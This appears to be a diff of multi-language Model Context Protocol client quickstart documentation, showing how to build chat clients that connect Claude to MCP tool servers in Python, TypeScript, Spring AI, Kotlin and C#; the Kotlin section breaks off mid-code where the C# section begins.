+ "input_schema": tool.input_schema
+ } for tool in tool_list.tools]
+
+ # Initial Claude API call
+ response = anthropic.messages.create(
+ model=MODEL,
+ max_tokens=1000,
+ messages=messages,
+ tools=available_tools
+ )
+
+ # Process response and handle tool calls
+ final_text = []
+ tool_results = []
+
+ for content in response.content:
+ if content.type == 'text':
+ final_text.append(content.text)
+ elif content.type == 'tool_use':
+ tool_name = content.name
+ tool_args = content.input
+
+ # Execute tool call
+ result = await client.call_tool(tool_name, tool_args)
+ final_text.append(f"[Calling tool {tool_name} with args {tool_args}]")
+
+ tool_results.append({
+ "type": "tool_result",
+ "tool_use_id": content.id,
+ "content": "\n".join(
+ block.text
+ for block in result.content
+ if isinstance(block, TextContent)
+ ),
+ "is_error": result.is_error
+ })
+
+ if tool_results:
+ messages.append({"role": "assistant", "content": response.content})
+ messages.append({"role": "user", "content": tool_results})
+
+ # Get next response from Claude
+ response = anthropic.messages.create(
+ model=MODEL,
+ max_tokens=1000,
+ messages=messages,
+ tools=available_tools
+ )
+
+ for content in response.content:
+ if content.type == 'text':
+ final_text.append(content.text)
+
+ return "\n".join(final_text)
+ ```
+
+ `call_tool` returns a `CallToolResult`. Its `content` is a list of blocks, which is why we narrow to `TextContent` before reading `.text`. A tool that raises does not raise here: it answers with `is_error` set, and passing that flag on lets Claude read the message and try something else.
+
+ ### Interactive Chat Interface
+
+ Now we'll add the chat loop:
+
+ ```python theme={null}
+ async def chat_loop(client: Client) -> None:
+ """Run an interactive chat loop"""
+ print("\nMCP Client Started!")
+ print("Type your queries or 'quit' to exit.")
+
+ while True:
+ try:
+ query = (await asyncio.to_thread(input, "\nQuery: ")).strip()
+ except EOFError:
+ break
+
+ if query.lower() == 'quit':
+ break
+
+ try:
+ response = await process_query(client, query)
+ print("\n" + response)
+ except Exception as e:
+ print(f"\nError: {e}")
+ ```
+
+ `input()` blocks, so it runs on a worker thread. That keeps the event loop free to service the connection while you type.
+
+ ### Main Entry Point
+
+ Finally, we'll add the main execution logic:
+
+ ```python theme={null}
+ async def main() -> None:
+ if len(sys.argv) < 2:
+ print("Usage: python client.py ")
+ sys.exit(1)
+
+ async with Client(stdio_client(server_params(sys.argv[1]))) as client:
+ tool_list = await client.list_tools()
+ tool_names = [tool.name for tool in tool_list.tools]
+ print("\nConnected to server with tools:", tool_names)
+
+ await chat_loop(client)
+
+
+ if __name__ == "__main__":
+ asyncio.run(main())
+ ```
+
+ That `async with` is the entire connection lifecycle. Entering it launches the server and agrees a protocol version with it; leaving it disconnects and shuts the subprocess down. There is nothing to close by hand.
+
+ You can find the complete `client.py` file [here](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-python/client.py).
+
+ ## Key Components Explained
+
+ ### 1. Client Initialization
+
+ * A single `Client` carries the connection, and `async with` is its whole lifecycle
+ * There is no connect/close pair to call and nothing to clean up afterwards
+ * Configures the Anthropic client for Claude interactions
+
+ ### 2. Server Connection
+
+ * Supports both Python and Node.js servers
+ * Validates server script type
+ * Launches the server as a subprocess and speaks stdio to it
+ * Lists the available tools once the connection is open
+
+ ### 3. Query Processing
+
+ * Maintains conversation context
+ * Handles Claude's responses and tool calls
+ * Manages the message flow between Claude and tools
+ * Combines results into a coherent response
+
+ ### 4. Interactive Interface
+
+ * Provides a simple command-line interface
+ * Handles user input and displays responses
+ * Includes basic error handling
+ * Allows graceful exit
+
+ ### 5. Resource Management
+
+ * Leaving the `async with` block disconnects and shuts the server subprocess down
+ * A failing query is reported without ending the session
+ * Typing `quit`, or closing standard input, exits cleanly
+
+ ## Common Customization Points
+
+ 1. **Tool Handling**
+ * Modify `process_query()` to handle specific tool types
+ * Add custom error handling for tool calls
+ * Implement tool-specific response formatting
+
+ 2. **Response Processing**
+ * Customize how tool results are formatted
+ * Add response filtering or transformation
+ * Implement custom logging
+
+ 3. **User Interface**
+ * Add a GUI or web interface
+ * Implement rich console output
+ * Add command history or auto-completion
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ uv run client.py path/to/server.py # python server
+ uv run client.py path/to/build/index.js # node server
+ ```
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python), your command might look something like this: `python client.py .../quickstart-resources/weather-server-python/weather.py`
+
+
+ The client will:
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ Here's an example of what it should look like if connected to the weather server from the server quickstart:
+
+
+
+
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client gets the list of available tools from the server
+ 2. Your query is sent to Claude along with tool descriptions
+ 3. Claude decides which tools (if any) to use
+ 4. The client executes any requested tool calls through the server
+ 5. Results are sent back to Claude
+ 6. Claude provides a natural language response
+ 7. The response is displayed to you
+
+ ## Best practices
+
+ 1. **Error Handling**
+ * Check `result.is_error` rather than expecting a failing tool to raise
+ * Provide meaningful error messages
+ * Gracefully handle connection issues
+
+ 2. **Resource Management**
+ * Let the `async with` block own the connection
+ * Keep it open for as long as you need the server
+ * Handle server disconnections
+
+ 3. **Security**
+ * Store API keys securely in `.env`
+ * Validate server responses
+ * Be cautious with tool permissions
+
+ 4. **Tool Names**
+ * Tool names can be validated according to the format specified [here](/specification/draft/server/tools#tool-names)
+ * If a tool name conforms to the specified format, it should not fail validation by an MCP client
+
+ ## Troubleshooting
+
+ ### Server Path Issues
+
+ * Double-check the path to your server script is correct
+ * Use the absolute path if the relative path isn't working
+ * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
+ * Verify the server file has the correct extension (.py for Python or .js for Node.js)
+
+ Example of correct path usage:
+
+ ```bash theme={null}
+ # Relative path
+ uv run client.py ./server/weather.py
+
+ # Absolute path
+ uv run client.py /Users/username/projects/mcp-server/weather.py
+
+ # Windows path (either format works)
+ uv run client.py C:/projects/mcp-server/weather.py
+ uv run client.py C:\\projects\\mcp-server\\weather.py
+ ```
+
+ ### Response Timing
+
+ * The first response might take up to 30 seconds to return
+ * This is normal and happens while:
+ * The server initializes
+ * Claude processes the query
+ * Tools are being executed
+ * Subsequent responses are typically faster
+ * Don't interrupt the process during this initial waiting period
+
+ ### Common Error Messages
+
+ If you see:
+
+ * `FileNotFoundError`: Check your server path
+ * `Connection refused`: Ensure the server is running and the path is correct
+ * `Tool execution failed`: Verify the tool's required environment variables are set
+ * `Timeout error`: Consider raising `read_timeout_seconds` on the `Client`
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-typescript)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Mac or Windows computer
+ * Node.js 20 or higher installed
+ * Latest version of `npm` installed
+ * Anthropic API key (Claude)
+
+ ## Setting Up Your Environment
+
+ First, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create project directory
+ mkdir mcp-client-typescript
+ cd mcp-client-typescript
+
+ # Initialize npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @anthropic-ai/sdk @modelcontextprotocol/client dotenv
+
+ # Install dev dependencies
+ npm install -D @types/node typescript
+
+ # Create source file
+ touch index.ts
+ ```
+
+ ```powershell Windows theme={null}
+ # Create project directory
+ md mcp-client-typescript
+ cd mcp-client-typescript
+
+ # Initialize npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @anthropic-ai/sdk @modelcontextprotocol/client dotenv
+
+ # Install dev dependencies
+ npm install -D @types/node typescript
+
+ # Create source file
+ new-item index.ts
+ ```
+
+
+ Update your `package.json` to set `type: "module"` and a build script:
+
+ ```json package.json theme={null}
+ {
+ "type": "module",
+ "scripts": {
+ "build": "tsc && chmod 755 build/index.js"
+ }
+ }
+ ```
+
+ Create a `tsconfig.json` in the root of your project:
+
+ ```json tsconfig.json theme={null}
+ {
+ "compilerOptions": {
+ "target": "ES2022",
+ "module": "Node16",
+ "moduleResolution": "Node16",
+ "types": ["node"],
+ "outDir": "./build",
+ "rootDir": "./",
+ "strict": true,
+ "esModuleInterop": true,
+ "skipLibCheck": true,
+ "forceConsistentCasingInFileNames": true
+ },
+ "include": ["index.ts"],
+ "exclude": ["node_modules"]
+ }
+ ```
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's set up our imports and create the basic client class in `index.ts`:
+
+ ```typescript theme={null}
+ import { Anthropic } from "@anthropic-ai/sdk";
+ import {
+ MessageParam,
+ Tool,
+ } from "@anthropic-ai/sdk/resources/messages/messages.mjs";
+ import { Client } from "@modelcontextprotocol/client";
+ import { StdioClientTransport } from "@modelcontextprotocol/client/stdio";
+ import readline from "readline/promises";
+ import dotenv from "dotenv";
+
+ dotenv.config();
+
+ const ANTHROPIC_API_KEY = process.env.ANTHROPIC_API_KEY;
+ if (!ANTHROPIC_API_KEY) {
+ throw new Error("ANTHROPIC_API_KEY is not set");
+ }
+
+ class MCPClient {
+ private mcp: Client;
+ private anthropic: Anthropic;
+ private transport: StdioClientTransport | null = null;
+ private tools: Tool[] = [];
+
+ constructor() {
+ this.anthropic = new Anthropic({
+ apiKey: ANTHROPIC_API_KEY,
+ });
+ this.mcp = new Client({ name: "mcp-client-cli", version: "1.0.0" });
+ }
+ // methods will go here
+ }
+ ```
+
+ ### Server Connection Management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```typescript theme={null}
+ async connectToServer(serverScriptPath: string) {
+ try {
+ const isJs = serverScriptPath.endsWith(".js");
+ const isPy = serverScriptPath.endsWith(".py");
+ if (!isJs && !isPy) {
+ throw new Error("Server script must be a .js or .py file");
+ }
+ const command = isPy
+ ? process.platform === "win32"
+ ? "python"
+ : "python3"
+ : process.execPath;
+
+ this.transport = new StdioClientTransport({
+ command,
+ args: [serverScriptPath],
+ });
+ await this.mcp.connect(this.transport);
+
+ const toolsResult = await this.mcp.listTools();
+ this.tools = toolsResult.tools.map((tool) => {
+ return {
+ name: tool.name,
+ description: tool.description,
+ input_schema: tool.inputSchema,
+ };
+ });
+ console.log(
+ "Connected to server with tools:",
+ this.tools.map(({ name }) => name)
+ );
+ } catch (e) {
+ console.log("Failed to connect to MCP server: ", e);
+ throw e;
+ }
+ }
+ ```
+
+ ### Query Processing Logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```typescript theme={null}
+ async processQuery(query: string) {
+ const messages: MessageParam[] = [
+ {
+ role: "user",
+ content: query,
+ },
+ ];
+
+ const response = await this.anthropic.messages.create({
+ model: "claude-opus-5",
+ max_tokens: 1000,
+ messages,
+ tools: this.tools,
+ });
+
+ const finalText = [];
+
+ for (const content of response.content) {
+ if (content.type === "text") {
+ finalText.push(content.text);
+ } else if (content.type === "tool_use") {
+ const toolName = content.name;
+ const toolArgs = content.input as { [x: string]: unknown } | undefined;
+
+ const result = await this.mcp.callTool({
+ name: toolName,
+ arguments: toolArgs,
+ });
+ finalText.push(
+ `[Calling tool ${toolName} with args ${JSON.stringify(toolArgs)}]`
+ );
+
+ messages.push({
+ role: "user",
+ content: result.content
+ .filter((block) => block.type === "text")
+ .map((block) => block.text)
+ .join("\n"),
+ });
+
+ const response = await this.anthropic.messages.create({
+ model: "claude-opus-5",
+ max_tokens: 1000,
+ messages,
+ });
+
+ finalText.push(
+ response.content[0].type === "text" ? response.content[0].text : ""
+ );
+ }
+ }
+
+ return finalText.join("\n");
+ }
+ ```
+
+ ### Interactive Chat Interface
+
+ Now we'll add the chat loop and cleanup functionality:
+
+ ```typescript theme={null}
+ async chatLoop() {
+ const rl = readline.createInterface({
+ input: process.stdin,
+ output: process.stdout,
+ });
+
+ try {
+ console.log("\nMCP Client Started!");
+ console.log("Type your queries or 'quit' to exit.");
+
+ while (true) {
+ const message = await rl.question("\nQuery: ");
+ if (message.toLowerCase() === "quit") {
+ break;
+ }
+ const response = await this.processQuery(message);
+ console.log("\n" + response);
+ }
+ } finally {
+ rl.close();
+ }
+ }
+
+ async cleanup() {
+ await this.mcp.close();
+ }
+ ```
+
+ ### Main Entry Point
+
+ Finally, we'll add the main execution logic:
+
+ ```typescript theme={null}
+ async function main() {
+ if (process.argv.length < 3) {
+ console.log("Usage: node index.ts ");
+ return;
+ }
+ const mcpClient = new MCPClient();
+ try {
+ await mcpClient.connectToServer(process.argv[2]);
+ await mcpClient.chatLoop();
+ } catch (e) {
+ console.error("Error:", e);
+ await mcpClient.cleanup();
+ process.exit(1);
+ } finally {
+ await mcpClient.cleanup();
+ process.exit(0);
+ }
+ }
+
+ main();
+ ```
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ # Build TypeScript
+ npm run build
+
+ # Run the client
+ node build/index.js path/to/server.py # python server
+ node build/index.js path/to/build/index.js # node server
+ ```
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript), your command might look something like this: `node build/index.js .../quickstart-resources/weather-server-typescript/build/index.js`
+
+
+ **The client will:**
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client gets the list of available tools from the server
+ 2. Your query is sent to Claude along with tool descriptions
+ 3. Claude decides which tools (if any) to use
+ 4. The client executes any requested tool calls through the server
+ 5. Results are sent back to Claude
+ 6. Claude provides a natural language response
+ 7. The response is displayed to you
+
+ ## Best practices
+
+ 1. **Error Handling**
+ * Use TypeScript's type system for better error detection
+ * Wrap tool calls in try-catch blocks
+ * Provide meaningful error messages
+ * Gracefully handle connection issues
+
+ 2. **Security**
+ * Store API keys securely in `.env`
+ * Validate server responses
+ * Be cautious with tool permissions
+
+ ## Troubleshooting
+
+ ### Server Path Issues
+
+ * Double-check the path to your server script is correct
+ * Use the absolute path if the relative path isn't working
+ * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
+ * Verify the server file has the correct extension (.js for Node.js or .py for Python)
+
+ Example of correct path usage:
+
+ ```bash theme={null}
+ # Relative path
+ node build/index.js ./server/build/index.js
+
+ # Absolute path
+ node build/index.js /Users/username/projects/mcp-server/build/index.js
+
+ # Windows path (either format works)
+ node build/index.js C:/projects/mcp-server/build/index.js
+ node build/index.js C:\\projects\\mcp-server\\build\\index.js
+ ```
+
+ ### Response Timing
+
+ * The first response might take up to 30 seconds to return
+ * This is normal and happens while:
+ * The server initializes
+ * Claude processes the query
+ * Tools are being executed
+ * Subsequent responses are typically faster
+ * Don't interrupt the process during this initial waiting period
+
+ ### Common Error Messages
+
+ If you see:
+
+ * `Error: Cannot find module`: Check your build folder and ensure TypeScript compilation succeeded
+ * `Connection refused`: Ensure the server is running and the path is correct
+ * `Tool execution failed`: Verify the tool's required environment variables are set
+ * `ANTHROPIC_API_KEY is not set`: Check your .env file and environment variables
+ * `TypeError`: Ensure you're using the correct types for tool arguments
+ * `BadRequestError`: Ensure you have enough credits to access the Anthropic API
+
+
+
+
+ This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters.
+ To learn how to create sync and async MCP Clients manually, consult the [Java SDK Client](https://java.sdk.modelcontextprotocol.io/) documentation.
+
+
+ This example demonstrates how to build an interactive chatbot that combines Spring AI's Model Context Protocol (MCP) with the [Brave Search MCP Server](https://github.com/modelcontextprotocol/servers-archived/tree/main/src/brave-search). The application creates a conversational interface powered by Anthropic's Claude AI model that can perform internet searches through Brave Search, enabling natural language interactions with real-time web data.
+ [You can find the complete code for this tutorial here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/web-search/brave-chatbot)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Java 17 or higher
+ * Maven 3.6+
+ * npx package manager
+ * Anthropic API key (Claude)
+ * Brave Search API key
+
+ ## Setting Up Your Environment
+
+ 1. Install npx (Node Package eXecute):
+ First, make sure to install [npm](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm)
+ and then run:
+
+ ```bash theme={null}
+ npm install -g npx
+ ```
+
+ 2. Clone the repository:
+
+ ```bash theme={null}
+ git clone https://github.com/spring-projects/spring-ai-examples.git
+ cd model-context-protocol/web-search/brave-chatbot
+ ```
+
+ 3. Set up your API keys:
+
+ ```bash theme={null}
+ export ANTHROPIC_API_KEY='your-anthropic-api-key-here'
+ export BRAVE_API_KEY='your-brave-api-key-here'
+ ```
+
+ 4. Build the application:
+
+ ```bash theme={null}
+ ./mvnw clean install
+ ```
+
+ 5. Run the application using Maven:
+ ```bash theme={null}
+ ./mvnw spring-boot:run
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` and `BRAVE_API_KEY` keys secure!
+
+
+ ## How it Works
+
+ The application integrates Spring AI with the Brave Search MCP server through several components:
+
+ ### MCP Client Configuration
+
+ 1. Required dependencies in pom.xml:
+
+ ```xml theme={null}
+
+ org.springframework.ai
+ spring-ai-starter-mcp-client
+
+
+ org.springframework.ai
+ spring-ai-starter-model-anthropic
+
+ ```
+
+ 2. Application properties (application.yml):
+
+ ```yml theme={null}
+ spring:
+ ai:
+ mcp:
+ client:
+ enabled: true
+ name: brave-search-client
+ version: 1.0.0
+ type: SYNC
+ request-timeout: 20s
+ stdio:
+ root-change-notification: true
+ servers-configuration: classpath:/mcp-servers-config.json
+ toolcallback:
+ enabled: true
+ anthropic:
+ api-key: ${ANTHROPIC_API_KEY}
+ ```
+
+ This activates the `spring-ai-starter-mcp-client` to create one or more `McpClient`s based on the provided server configuration.
+ The `spring.ai.mcp.client.toolcallback.enabled=true` property enables the tool callback mechanism, that automatically registers all MCP tool as spring ai tools.
+ It is disabled by default.
+
+ 3. MCP Server Configuration (`mcp-servers-config.json`):
+
+ ```json theme={null}
+ {
+ "mcpServers": {
+ "brave-search": {
+ "command": "npx",
+ "args": ["-y", "@modelcontextprotocol/server-brave-search"],
+ "env": {
+ "BRAVE_API_KEY": ""
+ }
+ }
+ }
+ }
+ ```
+
+ ### Chat Implementation
+
+ The chatbot is implemented using Spring AI's ChatClient with MCP tool integration:
+
+ ```java theme={null}
+ var chatClient = chatClientBuilder
+ .defaultSystem("You are useful assistant, expert in AI and Java.")
+ .defaultToolCallbacks((Object[]) mcpToolAdapter.toolCallbacks())
+ .defaultAdvisors(new MessageChatMemoryAdvisor(new InMemoryChatMemory()))
+ .build();
+ ```
+
+ Key features:
+
+ * Uses Claude AI model for natural language understanding
+ * Integrates Brave Search through MCP for real-time web search capabilities
+ * Maintains conversation memory using InMemoryChatMemory
+ * Runs as an interactive command-line application
+
+ ### Build and run
+
+ ```bash theme={null}
+ ./mvnw clean install
+ java -jar ./target/ai-mcp-brave-chatbot-0.0.1-SNAPSHOT.jar
+ ```
+
+ or
+
+ ```bash theme={null}
+ ./mvnw spring-boot:run
+ ```
+
+ The application will start an interactive chat session where you can ask questions. The chatbot will use Brave Search when it needs to find information from the internet to answer your queries.
+
+ The chatbot can:
+
+ * Answer questions using its built-in knowledge
+ * Perform web searches when needed using Brave Search
+ * Remember context from previous messages in the conversation
+ * Combine information from multiple sources to provide comprehensive answers
+
+ ### Advanced Configuration
+
+ The MCP client supports additional configuration options:
+
+ * Client customization through `McpClientCustomizer` or `McpClientCustomizer` beans
+ * Multiple clients with multiple transport types: `STDIO` and Streamable HTTP
+ * Integration with Spring AI's tool execution framework
+ * Automatic client initialization and lifecycle management
+
+ To connect to a remote MCP server over Streamable HTTP, configure a connection URL:
+
+ ```properties theme={null}
+ spring.ai.mcp.client.streamable-http.connections.server1.url=http://localhost:8080
+ ```
+
+ For WebFlux-based applications, you can use the WebFlux starter instead:
+
+ ```xml theme={null}
+
+ org.springframework.ai
+ spring-ai-starter-mcp-client-webflux
+
+ ```
+
+ This provides similar functionality but uses a WebFlux-based Streamable HTTP transport implementation, recommended for production deployments.
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/kotlin-mcp-client)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * JDK 11 or higher
+ * Anthropic API key (Claude)
+
+ ## Setting up your environment
+
+ First, let's install `java` and `gradle` if you haven't already.
+ You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/).
+ Verify your `java` installation:
+
+ ```bash theme={null}
+ java --version
+ ```
+
+ Now, let's create and set up your project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir kotlin-mcp-client
+ cd kotlin-mcp-client
+
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md kotlin-mcp-client
+ cd kotlin-mcp-client
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+
+ After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language.
+
+ Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html).
+
+ After creating the project, replace the contents of your `build.gradle.kts` with:
+
+ ```kotlin build.gradle.kts theme={null}
+ // Check latest versions at https://github.com/modelcontextprotocol/kotlin-sdk/releases
+ val mcpVersion = "0.9.0"
+ val ktorVersion = "3.2.3"
+ val anthropicVersion = "2.15.0"
+ val slf4jVersion = "2.0.17"
+
+ plugins {
+ kotlin("jvm") version "2.3.20"
+ id("com.gradleup.shadow") version "8.3.9"
+ application
+ }
+
+ application {
+ mainClass.set("MainKt")
+ }
+
+ dependencies {
+ implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion")
+ implementation("io.ktor:ktor-client-cio:$ktorVersion")
+ implementation("com.anthropic:anthropic-java:$anthropicVersion")
+ implementation("org.slf4j:slf4j-simple:$slf4jVersion")
+ }
+ ```
+
+ Verify that everything is set up correctly:
+
+ ```bash theme={null}
+ ./gradlew build
+ ```
+
+ ## Setting up your API key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Set up your API key:
+
+ ```bash theme={null}
+ export ANTHROPIC_API_KEY='your-anthropic-api-key-here'
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's create the basic client class:
+
+ ```kotlin theme={null}
+ class MCPClient(apiKey: String) : AutoCloseable {
+ private val anthropic = AnthropicOkHttpClient.builder()
+ .apiKey(apiKey)
+ .build()
+
+ private val mcp: Client = Client(
+ clientInfo = Implementation(name = "mcp-client-cli", version = "1.0.0")
+ )
+ private var serverProcess: Process? = null
+ private lateinit var tools: List
+
+ // methods will go here
+
+ override fun close() {
+ runBlocking {
+ mcp.close()
+ }
+ serverProcess?.destroy()
+ anthropic.close()
+ }
+ }
+ ```
+
+ ### Server connection management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```kotlin theme={null}
+ suspend fun connectToServer(serverScriptPath: String) {
+ val command = buildList {
+ when (serverScriptPath.substringAfterLast(".")) {
+ "js" -> add("node")
+ "py" -> add(if (System.getProperty("os.name").lowercase().contains("win")) "python" else "python3")
+ "jar" -> addAll(listOf("java", "-jar"))
+ else -> throw IllegalArgumentException("Server script must be a .js, .py or .jar file")
+ }
+ add(serverScriptPath)
+ }
+
+ val process = ProcessBuilder(command).start()
+ serverProcess = process
+
+ val transport = StdioClientTransport(
+ input = process.inputStream.asSource().buffered(),
+ output = process.outputStream.asSink().buffered(),
+ )
+
+ mcp.connect(transport)
+
+ val toolsResult = mcp.listTools()
+ tools = toolsResult.tools.map { tool ->
+ ToolUnion.ofTool(
+ Tool.builder()
+ .name(tool.name)
+ .description(tool.description ?: "")
+ .inputSchema(
+ Tool.InputSchema.builder()
+ .type(JsonValue.from(tool.inputSchema.type))
+ .properties(tool.inputSchema.properties?.toJsonValue() ?: EmptyJsonObject.toJsonValue())
+ .putAdditionalProperty("required", JsonValue.from(tool.inputSchema.required))
+ .build(),
+ )
+ .build(),
+ )
+ }
+ println("Connected to server with tools: ${tools.joinToString(", ") { it.tool().get().name() }}")
+ }
+ ```
+
+
+ This helper converts a kotlinx.serialization `JsonObject` to an Anthropic SDK `JsonValue` using Jackson:
+
+ ```kotlin theme={null}
+ private fun JsonObject.toJsonValue(): JsonValue {
+ val mapper = ObjectMapper()
+ val node = mapper.readTree(this.toString())
+ return JsonValue.fromJsonNode(node)
+ }
+ ```
+
+
+ ### Query processing logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```kotlin theme={null}
+ suspend fun processQuery(query: String): String {
+ val messages = mutableListOf(
+ MessageParam.builder()
+ .role(MessageParam.Role.USER)
+ .content(query)
+ .build(),
+ )
+
+ val response = anthropic.messages().create(
+ MessageCreateParams.builder()
+ .model("claude-opus-5")
+ .maxTokens(1024)
+ .messages(messages)
+ .tools(tools)
+ .build(),
+ )
+
+ val finalText = mutableListOf()
+ response.content().forEach { content ->
+ when {
+ content.isText() -> finalText.add(content.text().get().text())
+
+ content.isToolUse() -> {
+ val toolName = content.toolUse().get().name()
+ val toolArgs =
+ content.toolUse().get()._input().convert(object : TypeReference
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartClient)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * .NET 8.0 or higher
+ * Anthropic API key (Claude)
+ * Windows, Linux, or macOS
+
+ ## Setting up your environment
+
+ First, create a new .NET project:
+
+ ```bash theme={null}
+ dotnet new console -n QuickstartClient
+ cd QuickstartClient
+ ```
+
+ Then, add the required dependencies to your project:
+
+ ```bash theme={null}
+ dotnet add package ModelContextProtocol --prerelease
+ dotnet add package Anthropic.SDK
+ dotnet add package Microsoft.Extensions.Hosting
+ dotnet add package Microsoft.Extensions.AI
+ ```
+
+ ## Setting up your API key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ ```bash theme={null}
+ dotnet user-secrets init
+ dotnet user-secrets set "ANTHROPIC_API_KEY" ""
+ ```
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's setup the basic client class in the file `Program.cs`:
+
+ ```csharp theme={null}
+ using Anthropic.SDK;
+ using Microsoft.Extensions.AI;
+ using Microsoft.Extensions.Configuration;
+ using Microsoft.Extensions.Hosting;
+ using ModelContextProtocol.Client;
+ using ModelContextProtocol.Protocol.Transport;
+
+ var builder = Host.CreateApplicationBuilder(args);
+
+ builder.Configuration
+ .AddEnvironmentVariables()
+ .AddUserSecrets();
+ ```
+
+ This creates the beginnings of a .NET console application that can read the API key from user secrets.
+
+ Next, we'll setup the MCP Client:
+
+ ```csharp theme={null}
+ var (command, arguments) = GetCommandAndArguments(args);
+
+ var clientTransport = new StdioClientTransport(new()
+ {
+ Name = "Demo Server",
+ Command = command,
+ Arguments = arguments,
+ });
+
+ await using var mcpClient = await McpClient.CreateAsync(clientTransport);
+
+ var tools = await mcpClient.ListToolsAsync();
+ foreach (var tool in tools)
+ {
+ Console.WriteLine($"Connected to server with tools: {tool.Name}");
+ }
+ ```
+
+ Add this function at the end of the `Program.cs` file:
+
+ ```csharp theme={null}
+ static (string command, string[] arguments) GetCommandAndArguments(string[] args)
+ {
+ return args switch
+ {
+ [var script] when script.EndsWith(".py") => ("python", args),
+ [var script] when script.EndsWith(".js") => ("node", args),
+ [var script] when Directory.Exists(script) || (File.Exists(script) && script.EndsWith(".csproj")) => ("dotnet", ["run", "--project", script, "--no-build"]),
+ _ => throw new NotSupportedException("An unsupported server script was provided. Supported scripts are .py, .js, or .csproj")
+ };
+ }
+ ```
+
+ This creates an MCP client that will connect to a server that is provided as a command line argument. It then lists the available tools from the connected server.
+
+ ### Query processing logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```csharp theme={null}
+ using var anthropicClient = new AnthropicClient(new APIAuthentication(builder.Configuration["ANTHROPIC_API_KEY"]))
+ .Messages
+ .AsBuilder()
+ .UseFunctionInvocation()
+ .Build();
+
+ var options = new ChatOptions
+ {
+ MaxOutputTokens = 1000,
+ ModelId = "claude-opus-5",
+ Tools = [.. tools]
+ };
+
+ Console.ForegroundColor = ConsoleColor.Green;
+ Console.WriteLine("MCP Client Started!");
+ Console.ResetColor();
+
+ PromptForInput();
+ while(Console.ReadLine() is string query && !"exit".Equals(query, StringComparison.OrdinalIgnoreCase))
+ {
+ if (string.IsNullOrWhiteSpace(query))
+ {
+ PromptForInput();
+ continue;
+ }
+
+ await foreach (var message in anthropicClient.GetStreamingResponseAsync(query, options))
+ {
+ Console.Write(message);
+ }
+ Console.WriteLine();
+
+ PromptForInput();
+ }
+
+ static void PromptForInput()
+ {
+ Console.WriteLine("Enter a command (or 'exit' to quit):");
+ Console.ForegroundColor = ConsoleColor.Cyan;
+ Console.Write("> ");
+ Console.ResetColor();
+ }
+ ```
+
+ ## Key Components Explained
+
+ ### 1. Client Initialization
+
+ * The client is initialized using `McpClient.CreateAsync()`, which sets up the transport type and command to run the server.
+
+ ### 2. Server Connection
+
+ * Supports Python, Node.js, and .NET servers.
+ * The server is started using the command specified in the arguments.
+ * Configures to use stdio for communication with the server.
+ * Initializes the session and available tools.
+
+ ### 3. Query Processing
+
+ * Leverages [Microsoft.Extensions.AI](https://learn.microsoft.com/dotnet/ai/ai-extensions) for the chat client.
